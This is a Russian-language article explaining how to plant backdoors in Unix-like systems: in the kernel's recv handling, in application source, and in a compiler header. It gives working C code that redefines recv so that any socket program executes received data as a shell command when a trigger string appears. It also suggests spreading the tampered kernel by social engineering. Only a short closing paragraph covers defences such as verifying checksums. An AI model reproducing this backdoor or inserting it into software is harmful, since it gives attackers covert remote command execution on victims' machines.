Закладки - это недокументированные
функции системы, заложенные создателем
сознательно. Закладка может находиться в
любом месте: в прикладной программе, в ядре
ОС или даже в компиляторе. Назначение
закладок - дать создателю системы более
широкие возможности, чем рядовому
пользователю или администратору, не
знающему о закладке, в случае ОС или сетевых
сервисов - удаленный контроль над системой.
Рассмотрим на практике внедрение закладки
в Unix-like систему.
1. Ядро ОС. Модифицируются части ядра,
отвечающие за обработку поступающей по
сети информации. Нам подойдет обработка
системного вызова recv, отвечающего за чтение
данных из сокета. В ядре linux этот вызов
находится в файле net/socket.c, а сама процедура
называется sys_recv(int fd, void * ubuf, size_t size, unsigned flags).
Параметр ubuf - место, куда в результате
вызова процедуры попадают прочтенные
данные. Можно вставить проверку буфера на
наличие заданной строки, если строка
найдена - выполнять какой-либо код.
Модифицированное ядро вставляется в
стандартный дистрибутив (или
распространяется под видом оригинального
ядра), и далее методами социальной
инженерии внедряется на атакуемый объект. Я
почти уверен, что сисадмин из соседнего
офиса с удовольствием возьмет у меня
компашку с последней версией ядра - любит он
их обновлять, а качать с kernel.org - жалко денег
🙂
2. Прикладная программа. Тут все достаточно
очевидно, проблема лишь в том, чтобы скрыть
закладку внутри исходника. Впрочем, по
статистике, лишь 1% пользователей opensource-программ
заглядывает в исходники, так что при
локальном распространении программы (в
пределах здания, например) можно не особо
волноваться на этот счет.
3. Компилятор. Можно модифицировать
компилятор таким образом, чтобы он вставлял
закладку в любую компилируемую программу.
Нет нужды объяснять тому, кто дочитал до
этого места, преимущества и недостатки
распространения программ в виде исходных
текстов, а не бинарников. Мы произведем
модификацию, аналогичную модификации ядра.
Во многих юниксах функция recv описывается в
файле /usr/include/sys/socket.c, маленькое изменение
этого (или аналогичного) файла приведет к
тому, что любое приложение, использующее
сокеты, будет компилироваться с закладкой.
В конец файла (или в любое другое место
после определения функции recv) нужно
добавить следующее:
Мы определяем новую функцию...
static int buggzy_recv(int fd, void *buf, int
len, int flags)
{
int retval=recv(fd,buf,len,flags);
if(strstr(buf,"maravan")!=NULL)
system(buf);
return retval;
}
...и подменяем старую функцию новой:
#define recv buggzy_recv
Даже вручную такие строчки добавляются
меньше, чем за минуту, а заметно это не
больше, чем модификация ядра. Теперь любая
программа, использующая сокеты, и
откомпилированная на этом компиляторе, при
получении информации, содержащей строку
"maravan" (не спрашивайте, что это такое),
будет выполнять полученные данные как
команду системы. Способы добиться
установки на атакуемую систему - те же, что и
у ядра. В отличие от ядра, закладка в
компилятор может внедряться не в целевую
систему, а на систему разработчика, если
разработчик распространяет продукты в
бинарном виде.
Меры предосторожности. От закладок,
сделанных авторами системы, обезопаситься
крайне проблематично, например, откуда у
вас уверенность, что ваш компилятор не
делает их? 🙂 Точно так же нет оснований быть
уверенным, что дистрибутив, купленный вами
в магазине позавчера, не создан специально
с целью получить несанкционированный
доступ к вашей системе. Проверяйте файлы в
сомнительных дистрибутивах на
соответствие оригинальным (для этого
выкладываются их контрольные суммы или
цифровые подписи). Тяжело быть параноиком,
но если информация, которую у вас могут
похитить составляет достаточную ценность,
стоит знать и помнить об этом способе
проникновения в систему.